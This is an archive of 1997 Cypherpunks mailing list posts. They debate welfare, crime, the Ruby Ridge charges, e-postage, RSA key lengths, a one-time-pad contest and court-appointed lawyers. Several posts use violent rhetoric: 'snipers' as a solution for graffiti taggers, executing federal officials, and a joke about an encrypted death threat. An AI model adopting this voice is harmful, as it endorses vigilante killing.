FBI.  While we may be canting cyperpunk type ideology we would be doing
FBI style actions.

[...]

> The difference is that no one is telling me to hate or feel rage.  The
> actions of those who abuse freedom are my only inspiration.

Annd who will have freedom in your would?  Your suggested means tell me
more about your motives then your speech dose.


[1] Unless like me thay have volenterly rejected that lable [2]
[2] It however dosn't mean I regard myself less or more disuriving of
basic 'human' rights.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 22 Aug 1997 12:19:31 +0800
To: cypherpunks@toad.com
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
In-Reply-To: <v03102800b022928487f6@[207.167.93.63]>
Message-ID: <199708220339.FAA09935@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Somebody that looked and sounded like Tim C May wrote:

> >The way I see it is quite simple,  if these peaple where not payed off it
> >is most likely that thay will turn to crime.  Other then condemming every
> >single impovished person to death, this is one of the better soultions to
> >a difficalt problem.
> 
[..]
> Agraphia or not, this is one of the lamest posts I've seen in years. Wealth
> is to be taken from those who have worked for it or put their capitcal at
> risk and given ("redistributed") to those who have done neither, just
> because we're afraid they'll steal it from us or "turn to crime" if we
> don't pay them off?

It certainly sounds like blackmail to me.

> What's wrong with chopping the hands off of thieves and executing muderers?

Surely people on this list are aware of how fallible governments are? 
Those punishments are a bit too final to be within the power of a legal
system so prone to mistakes and corruption. 

Although current western legal systems constrain citizens, they also
constrain the government, which is probably a good thing.  The media is
very weak on reporting abuses of power by police and the military, but at
least they're not always completely covered up.  

Yes, both individuals and governments can break the law, but it stops them
sometimes.

> The United States has a lot of redistribution of wealth and a lot of crime.

Other common oversimplifications include:

 The United States has a large gap between rich and poor and a lot 
 of crime.

 The United States has a lot of lawyers and a lot of crime.

 The United States has a lot of guns and a lot of crime.

::Boots

"Every problem has a simple solution... and it's wrong" -- Mark Twain





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 22 Aug 1997 17:59:55 +0800
To: cypherpunks@toad.com
Subject: Re: State Charges in Weaver Case
Message-ID: <P5d8yF/SJDO4PyZv+2oySg==@JawJaCrakR>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:

> He should be up on 1st Degree Murder charges as these were a planned,
> permeditated murders. Freeh, Reno, and Clinton should all be up on the
> same caharges as co-consiritors for planning and ordering the murders and
> for covering up the matter after the fact.

  After their conviction in State court, we should execute their spouse 
and child, and then try them again in Federal court.

> Of cource all 3 should be introduced to "'ol Sparky" for their part in the
> murders at Waco.

  A person who never leaves their State can be arrested and charged
for a resident of a different State, with different laws, accessing
the material on h/is/er hard drive.

  Can a State without the death penalty arrest and charge an 
executioner in a different State, that does have the death 
penalty, for murdering one of their State's residents?

  Next time I'm on a topless beach in France, can I make a
citizen's arrest on some beautiful babe and have her extradited
to the U.S. to have her charged? (I would probably settle out
of court for some privately arranged Victim Compensation.)

  If someone murders two people, shouldn't they be electrocuted,
resucitated, and then electrocuted again?

  If Willy Clinton left D.C. at 4 p.m. on a train travelling West
at 50/mph, and Louey Freeh left D.C. 2 hours later on a plane
travelling NorthWest at 20/mph, then why would Willy be on a
train, how would Louey's plane get off the ground, and how could
the "single CypherPunk theory" account for...?
  ...uuuhhh. I think I've already said too much.

Uuuhhh...Monger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 22 Aug 1997 14:02:36 +0800
To: cypherpunks@toad.com
Subject: Re: Socio-Economic Cults (Re: CypherPunk Cults)
Message-ID: <199708220530.HAA22258@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
 
> Somthing is seriously wrong when a home owner is more afraid of the
> consequences of defending his home than his is from the criminals
> attacking it.

Policeman: "Sir, I'm calling to notify you that a criminal has broken
  into your house."
Citizen: "Damn. I hope he didn't hurt himself. I forgot to pay my 
  insurance bill this month."

  Tell me about it...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 22 Aug 1997 13:51:21 +0800
To: cypherpunks@toad.com
Subject: ROTFL / Re: Socio-Economic Cults (Re: CypherPunk Cults)
Message-ID: <199708220530.HAA22261@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian wrote:
> 
> On Thu, 21 Aug 1997, Tim G. May wrote:
> 
> > "When all you have is a gun, everything looks like a target."
> >
> > Tim G. May
> 
> When all you have are arrest warrants, everyone looks like a drug dealer.
> :)

  "When all you have is spam, everyone looks like Tim C. May."
         - Dimitri Vulis, KOTM






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 22 Aug 1997 13:59:00 +0800
To: cypherpunks@toad.com
Subject: Welfare Solution #389 / Re: Socio-Economic Cults (Re: CypherPunk Cults)
Message-ID: <199708220530.HAA22270@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> A prime example is the welfair class in America. All their basic needs are
> provided for by the State (food, housing, medical, education, ...) and yet
> they have the highest crime rates. And make no mistake this isn't 18th
> century England where people are stealing a loaf of bread to survive the
> majority of these criminal are commiting their crimes to support their
> entertainments.

Welfare Solution #389:
  Many in the welfair class have their basic needs met by the government
and then steal to buy heroin.
  How about this? - When a person on welfare is busted for heroin use,
or theft to support a habit, the State thereafter sends the person's
welfare check to a Crime Restitution fund and lets the person keep
stealing, only now it is for the purpose of supplying their own
basic needs.
  The crime rate stays the same, but the victims receive some amount
of recompensation.

  Damn, I'm smart...

SmartMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 22 Aug 1997 13:57:38 +0800
To: cypherpunks@toad.com
Subject: Re: State Charges in Weaver Case
Message-ID: <199708220532.HAA22375@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote:
> FBI director Louis Freeh said he was "extremely disappointed" in the
> charges against Horiuchi, and promised that the Federal Government
> would spare no expense in defending him against them.
> 
> Hey, I've got an idea.  Is Stephan Jones free? :)

  No. Give him Jim Bell's lawyer--he can get them to reduce the charges
to "making the mortuary smell bad."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 22 Aug 1997 22:07:35 +0800
To: cypherpunks@toad.com
Subject: IPsec product progress
Message-ID: <v03110747b0233de6638e@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Reply-To: rgm3@chrysler.com
X-Sender: rgm3@pop3hub.is.chrysler.com
Date: Fri, 22 Aug 1997 07:11:56 -0400
To: ipsec@tis.com
From: Robert Moskowitz <rgm3@chrysler.com>
Subject: IPsec product progress
Mime-Version: 1.0
Sender: owner-ipsec@ex.tis.com
Precedence: bulk

If anyone will be in Detroit next week tues-thurs and can make it to
AutoTech, we will be having a live demonstration of IPsec products
interoperating.

Things are touch and go.  We have had routing and hardware problems that
have significantly delayed us.  We do have 5 vendors here and on monday I
will know exactly what to whom we will be demonstrating real automotive
applications secured with IPsec.

All of the products are configured for the current ESP DES-CBC explicit and
AH HMAC-MD5.  Oakley is handling session establishment.  We did not get the
hardware for the CA in time to set up certificates, so we are using
pre-shared keys.


Robert Moskowitz
Chrysler Corporation
(810) 758-8212

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Fri, 22 Aug 1997 15:22:32 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Spam-killing PGP5/ecash postage plugin Was Re: Remailer   chaining  plugin for Eudora
In-Reply-To: <v0311070cb02275a79bcd@[139.167.130.248]>
Message-ID: <3.0.3.32.19970822090126.009e1390@localhost>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Robert Hettinga wrote:
>> and it would be the death of mailing lists.
>Not at all. At the very least, mail from lists I'm subcribed to could
come
>postage due.

But then you'll get spam on the list. Most of the spam I get is from
mailing lists.

If it's $.02 to send a mail to 10000 cypherpunks, then spammers won't
hesitate to send it. If it's $.02 * 10000 ($200) then only rich people
(like tcmay) will post here. The only solution I see is moderation and
censorship, and that can be (and has been) done without e-postage.

Exactly how do you think that e-postage would decrease spam on mailing
lists?

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM/1HLMUc8bdD9cnfEQK+mACfaKBL1UHz54rTIVG1OLf3ASQ330IAn3QR
Ped/qRtSae20p/vDrMCzCCQj
=Bp6T
-----END PGP SIGNATURE-----


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 22 Aug 1997 15:36:38 +0800
To: cypherpunks@toad.com
Subject: Re: State Charges in Weaver Case
Message-ID: <199708220720.JAA02684@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



A species of Monger named GovtLicensedMurderMonger wrote:

> Ray Arachelian wrote: (re: "Just Following Orders" Horiuchi)
> > Fine, then what shall we charge the one that gave the order with?  And
> > what shal be the punishment?  If the one who takes the order relinquishes
> > reposability, then the one giving the order must be doubly responsible.
 
>   Jeez, Ray. If you follow this twisted train of logic, you end up
> expecting the President and the Legislature to take responsibility for
> the State of the Union.
>   Are you some kind of godless Commie, or something? You'll certainly
> feel foolish when the FBI lab proves that the trigger was pulled by
> a drug dealer who was told to do so by a child molester. It's just a
> shame that those poor federal agents had to be there to witness the
> tragedy.

  The godless Libertarians are also spouting off the same type of 
ludicrous claims regarding government officials being responsible
for their actions.
  Like the people we vote for actually had any say in how this
country is run... Geez, wise up, guys.

GeezMonger
~~~~~~~~~~~~~~~
THE LIBERTARIAN, By Vin Suprynowicz
    'Enough money to have fed every human on earth'

    "August 2, 1997, marks the 60-year anniversary of the failed and
devastating American public policy of drug prohibition," announced
California Libertarian  gubernatorial candidate Steve Kubby of Lake
Tahoe
in a recent -- and refreshingly outspoken -- press release.

  "Just how big is $400 billion?" Kubby asks. "Adjusted for 1997
dollars,
$400 billion is enough money to have fed every human on Earth, each
year,
for the past 10 years."

  "As one of the chief architects of the War on Drugs, Lungren has a lot
of
explaining to do," Kubby said. "What has been accomplished by spending
such
such an incredible sum of money? We've created the biggest prison system
in
the history of the world, with more of our own citizens rotting behind
bars
than any other nation in the world -- and drugs are cheaper and more
easily
available than ever before, especially to kids.

  "It's time to hold public officials like Dan Lungren accountable for
the
tragic waste of money and lives that has produced nothing but more
drugs,
more violence, more addiction, and more misery."

"It is even more puzzling as to why Mr. Lungren thinks his colossal
failures in the War on Drugs qualify him for higher public office."

  The "Kubby for governor" web page is at
http://www.alpworld.com/kubby98.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The
web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/.
The
column is syndicated in the United States and Canada via Mountain Media
Syndications, P.O. Box 4422, Las Vegas Nev. 89127.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 23 Aug 1997 01:27:29 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Spam-killing PGP5/ecash postage plugin...
In-Reply-To: <v0311070cb02275a79bcd@[139.167.130.248]>
Message-ID: <v03102802b0236ef8ac5a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:01 AM -0700 8/22/97, Mike wrote:

>If it's $.02 to send a mail to 10000 cypherpunks, then spammers won't
>hesitate to send it. If it's $.02 * 10000 ($200) then only rich people
>(like tcmay) will post here. The only solution I see is moderation and
>censorship, and that can be (and has been) done without e-postage.
>
>Exactly how do you think that e-postage would decrease spam on mailing
>lists?

Well, first of all, one of the reasons I now have money is that I was
frugal in my high-earning years. And that means not paying $200 to send my
words out to 10,000 readers.

"Spam" is a controversial topic. The term itself is too overloaded and
fraught with various meanings to be useful. Some refer to _anything_ they
don't want, or didn't specifically request, as "spam." And so on.

As for the claim that "The only solution I see is moderation and
censorship," Mike needs to go back an revisit the list's experiences with
moderation and censorship in the January-February period this year. It was
neither cheaper nor more effective.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 23 Aug 1997 01:30:17 +0800
To: cypherpunks@Algebra.COM
Subject: Mathematics > NSA + GCHQ
In-Reply-To: <199708220824.KAA08238@basement.replay.com>
Message-ID: <v03102803b023719e4bce@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:24 AM -0700 8/22/97, Anonymous wrote:
>Bill Stewart wrote:
>
>> but there's also really no need for keys longer than 2048 bits unless
>> some radical algorithmic breakthrough
>> 1024 bits is probably enough
>
>  Other than the above, a very informative post.
>
>  Perhaps all encryption programs ought to be named Enigma-1,
>Enigma-2, etc.
>  When the Allies gained the capability to break the Enigma code,
>there was no front-page announcement. I checked the news headlines
>today, and there was no front-page announcement of a "radical
>algorithmic breakthrough." I take this to be proof positive that
>the ever-present "they" have indeed made a breakthrough, and that
>I need to use the strongest tools currently available for secure
>communications.

We haven't discussed this point in  a while, but the belief most
cryptologists have is roughly this:

The world-wide community of mathematics and cryptology researchers, linked
through open publication of new research results, is GREATER than the
cloistered NSA and GCHQ communities of researchers.

Thus, as bright as Brian Snow or Don Coppersmith or John Conway may be, the
"edge" the NSA may have once had is largely gone. Which is not to say that
they are not still a formidable technical organization, with substantial
computer resources.

But modern crypto systems are, as we all know, based on fundamental
mathematical results, e.g., the difficulty in finding the factors of a
large number, the difficulty in extracting logarithms, etc. And while
advances in factoring have occurred, often at government labs (think of
Sandia), the fast factoring of a 1000-decimal-digit number appears
unachievable.

(Leading to our conclusion that anyone who _knows_ the prime factors of a
very large number must have been the one who generated the composite
product, in a kind of zero knowledge proof sort of way. Or someone who
intercepted the numbers, the private key, or who gained access through the
National Key Recovery Suppository.)

>  Like the ZipLock ads where they put the angry bees in the ZipLock
>and in the Generic Brand plastic bags, I am always tempted by the
>statement that "512/1024/etc." is "good enough," to ask the person
>making the statement to write a letter threatening the life of
>"You Know Who," encrypt it and send it to me for forwarding to
>the Whitewaterhouse. ("And don't forget to use the '-c' option.")

Yes, this sort of thing has been proposed many times. Some of us have done
it, back in our earlier and more radical days.

(I don't claim credit for the RSA challenge, in its recent and current
form, but several years ago I suggested at the first RSA Conference that a
prize be encapsulated in a message encrypted with an RSA key, and that so
long as the prize went unclaimed this would be a measure of security.
Bidzos said he'd pass on the suggestion. Prizes are a common way to ensure
or encourage results, so doubtless others suggested similar things.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 22 Aug 1997 16:46:45 +0800
To: cypherpunks@toad.com
Subject: Bad CypherPunk! No privacy! / Re: PGP5i supports RSA keys?
Message-ID: <199708220824.KAA08238@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:

> but there's also really no need for keys longer than 2048 bits unless
> some radical algorithmic breakthrough 
> 1024 bits is probably enough

  Other than the above, a very informative post.

  Perhaps all encryption programs ought to be named Enigma-1,
Enigma-2, etc.
  When the Allies gained the capability to break the Enigma code,
there was no front-page announcement. I checked the news headlines
today, and there was no front-page announcement of a "radical
algorithmic breakthrough." I take this to be proof positive that
the ever-present "they" have indeed made a breakthrough, and that
I need to use the strongest tools currently available for secure 
communications.

  Like the ZipLock ads where they put the angry bees in the ZipLock
and in the Generic Brand plastic bags, I am always tempted by the
statement that "512/1024/etc." is "good enough," to ask the person
making the statement to write a letter threatening the life of
"You Know Who," encrypt it and send it to me for forwarding to
the Whitewaterhouse. ("And don't forget to use the '-c' option.")

  Would you rather have the angry F-Bee-I agents in the 4096 bit
encrypted CryptLock bag or the 1024 bit GenericLock bag?

:: B o o t s





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 23 Aug 1997 02:17:10 +0800
To: cypherpunks@toad.com
Subject: Re: Welfare Solution #389
In-Reply-To: <3.0.3.32.19970822025549.006f3d6c@pop.mhv.net>
Message-ID: <3.0.2.32.19970822102741.0075f710@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:47 PM 8/22/97 +0200, Alex Le Heux wrote:
>I Switserland they've gone even further now, and started supplying hardcore
>herion addicts with free heroin. The results were quite dramatic. Most of the
>addicts gave up stealing/etc and some even managed to get and hold a normal
>job. As it turned out, supplying them with free heroin was much cheaper than
>having them hang around and steal/rob/etc. It also served to reduce the call
>for extra police, and the call by the police for more rights/weapons/etc.

Of course there is another solution: legalize drugs. The reason why addicts
have to steal to support their habit is that the costs of narcotics have
been artificially inflated due to prohibition. Medical cocaine wholesales
at about $0.50 per gramm. Heroin should be in the same price range. Nobody
would have to steal to come up with a few dollars a day.

As ususal, the government created the problem and then proudly comes up
with a solution involving even more government. As the case is in
Switzerland. First they make it too expensive to buy and then they discover
they have to give it away to reduce the negative consequences of a
situation they created in the first place.



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 22 Aug 1997 23:32:32 +0800
To: cypherpunks@toad.com
Subject: $1 Million Code Crack
Message-ID: <1.5.4.32.19970822143251.0072f110@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



   $treet Journal, August 22, 1997, p. A7A.

   Hackers' Paradise: Get Wealthy Legally By Cracking a Code

   Crypto-Logic Offers to Pay $1 Million to the Breaker Of
   Encryption for E-Mail 

   By Rodney Ho

   A start-up company would like you to hack your way to $1
   million.

   Crypto-Logic Corp. of Austin, Texas, claims to have created
   an encryption system for electronic mail so foolproof that
   it can't be broken. If someone can figure out a special
   encrypted e-mail message within a year, the company says it
   will pay a reward of $1 million.

   But wait. The technology Crypto-Logic is using for the
   contest hasn't exactly been foolproof. The three computers
   needed to create the contest's Web site unexpectedly
   scrambled data in the site last week, said David Neeley,
   vice president and chief operating officer.

   The breakdown forced him to backtrack from last week's
   announcement that the contest would begin last Friday.
   Instead, he spent several days attempting to fix the
   computers, but to no avail. On Monday, he had to get
   replacement computers. "I've got thousands of dollars worth
   of machinery that's not worth blowing up," he grouses. But
   he adds, "I regard this as my screw-up. In this world,
   there are no excuses." He finally got the contest running
   Wednesday, at www.ultimateprivacy.com.

   On the bright side, cryptologists agree that the
   decades-old encryption method that Crypto-Logic is claiming
   to use -- called a "one-time pad" -- is theoretically
   unbreakable. Each "pad" has a set of uniquely random
   digital symbols that are coded to the actual message. The
   recipient uses the same symbols to decrypt the message. The
   pads are used only once.

   To limit the possibility of leaks, Crypto-Logic Chairman
   Stan Spence is the only person who knows the message that
   was encrypted. The solution is kept in a NationsBank vault
   in Austin, Mr. Spence says. In addition, Mr. Neeley says
   the $1 million is backed by an insurance company he won't
   name.

   Several other companies have held similar contests,
   typically offering more modest sums.

   Jim Bidzos, president of RSA Data Security Inc. in Redwood
   City, Calif., says his company frequently holds break-the-
   code contests to test how tough certain encryption systems
   are. But he and other security experts are skeptical of
   Crypto-Logic's assertions. "Anyone who says their system is
   bulletproof is either a liar or stupid," says Winn
   Schwartau, a Largo, Fla., security expert.

   Mr. Neeley admits his integrity is on the line. "If I'm
   wrong," he notes, "we're out of business."

   [End]











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 23 Aug 1997 02:32:27 +0800
To: cypherpunks@Algebra.COM
Subject: Shooting the taggers
In-Reply-To: <199708221538.RAA21396@basement.replay.com>
Message-ID: <v03102804b02380f8e70e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:38 AM -0700 8/22/97, Anonymous wrote:

>We don't need disarmamant.  We need armed responsible citizens forming
>their own militias.  If we had that on a wide scale, we wouldn't need
>a professional army.


Here in Santa Cruz, graffiti spray-painted on the walls of businesses is a
big, and growing, problem. And laws require the businesses to paint over
the grafitti, or otherwise render it invisible, in a quick and timely
manner. (The idea is that the grafitti is offensive to the sensibilities of
others, or somesuch, and that it encourages rival gangs to counter with
their own grafitti.)

And yet can J. Random Businessman defend his property against this
defacing? Nope. The cops say "Let us handle crimes." But they don't.

There's a solution for taggers: snipers.

(I'm indebted to Chip Morningstar for this succinct solution.)

This is just one example of how lawlessness comes from the perception that
ordinary citizen-units have been rendered defenseless against predators.

Another example is that of the East Bay rapist, as reported on here by Bill
Stewart. Can women get concealed carry permits in California? Nope. The
cops say, "We don't want citizens armed...let us enforce the laws."

Right, so that woman facing a rapist gets to wait for the cops to arrive,
assuming she survives the rape.

Or she can carry a gun, illegally, and perhaps survive. One more way the
sheep become felons.

(Cops of my acquaintance urge their wimminfolk, wives and sisters and
daughters and friends, to carry guns in their purses., regardless of what
the law says. A cop at the Sunnyvale Rod and Gun Club gave a girlfriend of
mine pointers on how to use her Mauser HSc .380. The law is an ass.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 23 Aug 1997 13:23:04 +0800
To: Tim May <tcmay@got.net>
Subject: Re: an end to "courts" (was RE: An end to "court appointed attorneys" )
In-Reply-To: <01BCAE9E.55579440@d414.pppdel.vsnl.net.in>
Message-ID: <3.0.2.32.19970822113422.02f64048@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



In most kinds of welfare, the state is pretending to "help" the recipient
by protecting them against the real world, whether it's the difficulties
of finding food, medical care, or whatever; it's a job that really 
belongs to private charity, though arguably government may provide
more help by inefficiently spending large amounts of theft-funded money
vs. efficiently spending smaller amounts of voluntary money and labor.

Public defenders are a different case, however - the attacks the
government is protecting the recipient against are attacks by the
government itself, and the cost of hiring a lawyer to defend him against
the government may be as severe a punishment as the offence in question.
OJ may have been able to outspend the prosecution in an attempt to
obtain justice or evade it, but you can't.

Court-funded attorneys are obviously in a conflict of interest, 
even in non-political crimes, and the government isn't overly 
enthusiastic about funding them well, and they're usually not as good 
as the ACLU would be, but on the other hand they _will_ often 
provide some help for cases the ACLU doesn't bother with.
How much they're there to really help, and how much their purpose is
to let the government pretend it's being fair, is a toss-up.
But the average citizen, who doesn't deal with the court end of
government every day or every year, has a minimal chance of justice
without competent legal assistance, or without spending more time
than the average prosecution cycle learning how the courts work.


>Prosecution: "The DNA results showed a match to an average of two out of
>the earth's 7 billion inhabitants. Mr. Simpson's DNA was one of them. "
>Defense: "So how come you ain't lookin' for da other guy?"
>Jurors: "Like Johnnie said, if it do not fit, you must acquit."

Well, Johnnie was right about that.  The police had decided (probably
correctly) that OJ was the most likely murderer, and had set out to
convict him, doing it sloppily and in ways that tainted the evidence.
Bad lab procedures, which were apparently a problem, made it possible
to mix up samples (even if they weren't doing it deliberately),
as well as to interpret the tests in the most pro-conviction way.
And because the police were quite public about their accusations,
they were under pressure to get the conviction, by any means necessary. 

One of the important principles of American justice, such as it is,
is that people are supposed to be innocent unless they're really
proven guilty, beyond reasonable doubt, and that it's better to
fail to convict an occasional guilty person than to convict an
innocent person - especially when the penalty may be death.
The police botched their case terribly, and they deserved to lose.
The jury did the right thing in not accepting it.
On the other hand, the civil jury that stuck it to OJ financially
also did the right thing; there _was_ a lot of evidence that he did it,
to the level of proof required for a civil case.

>OJ Simpson could have received a trial beginning 60 days after the 
>murders, lasting for no more than 10 days, and with his execution to 
>follow within 30 days after that. (Yes, I would allow one "appeal," 
>with a higher court listening to any objections to how the lower court
>operated, etc., and possibly ordering a new trial, etc. It should not 
>take more than a day or two.)

Especially for politically sensitive cases, but sometimes in simple ones,
police often jump to conclusions, and hide or ignore evidence that
would exonerate the accused, and courts usually buy there stories;
in spite of that, we keep seeing people ################
>
>The adversarial machine is made worse by the vast public subsidies of both
>sides, the endless delays, and the general "legalisms" used by both sides.
>
>As a personal note, my father was an officer in the U.S. Navy, and served
>on several courts martial. No capital murder cases, that I recall him
>mentioning, but some might serious matters. As most of you must know, the
>system is much different than the main U.S. legal system. And my father
>believes the military system is vastly more just, and quicker, and cheaper.
>A 3-man panel hears the evidence presented, asks questions, listens to
>defense points, etc., and then adjourns to reach a verdict. All in a few
>days, of course.
>
>No jury consultants making sure that no college graduates are on the jury,
>that enough blacks are seated, that facial expressions indicate likely
>sympathies to the defendant, etc.
>
>The U.S. system is corrupt. Hordes of lawyers--too many, of course--swarm
>out into the "System," inflating legal bills, billing at $200 an hour for
>the Xerox copying time of junior lawyers, and even charging lavish lunches
>to the other side. (I could cite dozens of examples...)
>
>Those of you who have taken McVeigh's "side" against Steven Jones should
>consider this whole situation. McVeigh, who quite clearly "did it," will
>now get a new lawyer--and his team!--to handle the appeal. More delays,
>more time billed at $300 an hour for the new top lawyer, and at $200 x 4 =
>$800 for his major assistants, and at some unknown rate for his clerks,
>secretaries, etc., all for what? So that an additional $500K or so is
>spent, with a delay now of an additional 4 to 6 months "for the new lawyers
>to familiarize themselves with the 200,000 pages of transcripts"...and so
>on.
>
>To what end? McVeigh did it, and only an Alice in Wonderland legalistic
>society could even doubt it for a nanosecond.
>
>(And in fact, we all accept this. Where's the real "outrage" that McVeigh
>is being prosecuted for a crime he didn't commit? We were outraged that
>Randy Weaver was entrapped on such a minor offense (shortening a rifle
>barrel by an inch or two), and that his wife and son were then shot in an
>ambush. We were outraged at Waco. We _are_ outraged at the treatment Abner
>Louima received in NYC. But we are not outraged at McVeigh's treatment.
>Because, as with OJ, anybody with three neurons to rub together knows he
>did it. And yet the multi-year legal charade continues.)
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Sat, 23 Aug 1997 00:06:03 +0800
To: cypherpunks@toad.com
Subject: List of security courses updated
Message-ID: <199708221534.LAA07850@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks for all of the wonderful information on courses. As a result,
the list has really grown and been corrected in several places. The
newest version can be found at

   http://www.cs.nyu.edu/~rubin/courses.html

And I'm pretty sure I got the URL right this time. This is a good place
to point students who are interested in studying cryptography.

Avi

*********************************************************************
Aviel D. Rubin                                 rubin@research.att.com
Secure Systems Research Dept.                Adjunct Professor at NYU
AT&T Labs - Research
180 Park Avenue                   http://www.research.att.com/~rubin/
Florham Park, NJ 07932-0971                    Voice: +1 973 360-8356
USA                                            FAX:   +1 973 360-8809

   --> Check out http://www.clark.net/pub/mjr/websec/ for a new
       book on web security (The Web Security Sourcebook).
*********************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 23 Aug 1997 03:26:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Picketing with packets enhanced version
In-Reply-To: <199708221719.TAA01130@atro.pine.nl>
